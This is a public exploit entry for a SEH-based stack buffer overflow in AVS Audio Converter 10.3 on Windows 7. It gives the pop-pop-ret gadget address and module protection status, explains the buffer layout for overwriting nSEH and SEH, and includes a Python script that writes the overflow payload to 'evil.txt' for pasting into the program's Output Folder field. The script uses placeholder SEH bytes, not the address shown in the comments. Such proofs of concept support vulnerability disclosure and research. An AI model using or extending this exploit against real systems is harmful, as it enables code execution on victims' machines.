发布 2023-03-27 漏洞条目

AVS Audio Converter 10.3 – Stack Overflow (SEH)

Exploit Source

# Exploit Title: AVS Audio Converter 10.3 - Stack Overflow (SEH)

# Discovered by: Yehia Elghaly - Mrvar0x

# Discovered Date: 2022-10-16

# Tested Version: 10.3.1.633

# Tested on OS: Windows 7 Professional x86

#pop+ret Address=005154E6

#Message= 0x005154e6 : pop ecx # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [AVSAudioConverter.exe]

#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v10.3.1.633 (C:\Program Files\AVS4YOU\AVSAudioConverter\AVSAudioConverter.exe)

# The only module that has SafeSEH disabled.

#Allocating 4-bytes for nSEH which should be placed directly before SEH which also takes up 4-bytes.

#Buffer = '\x41'* 260

#nSEH = '\x42'*4

#SEH = '\x43'*4

#ESI = 'D*44' # ESI Overwrite

#buffer = "A"*260 + [nSEH] + [SEH] + "D"*44

#buffer = "A"*260 + "B"*4 + "\xE6\x54\x51\x05" + "D"*44

# Rexploit:

# Generate the 'evil.txt' payload using python 2.7.x on Linux.

# Open the file 'evil.txt' Copy.

# Paste at'Output Folder and click 'Browse'.

#!/usr/bin/python -w

filename="evil.txt"

buffer = "A"*260 + "B"*4 + "C"*4 + "D"*44

textfile = open(filename , 'w')

textfile.write(buffer)

textfile.close()

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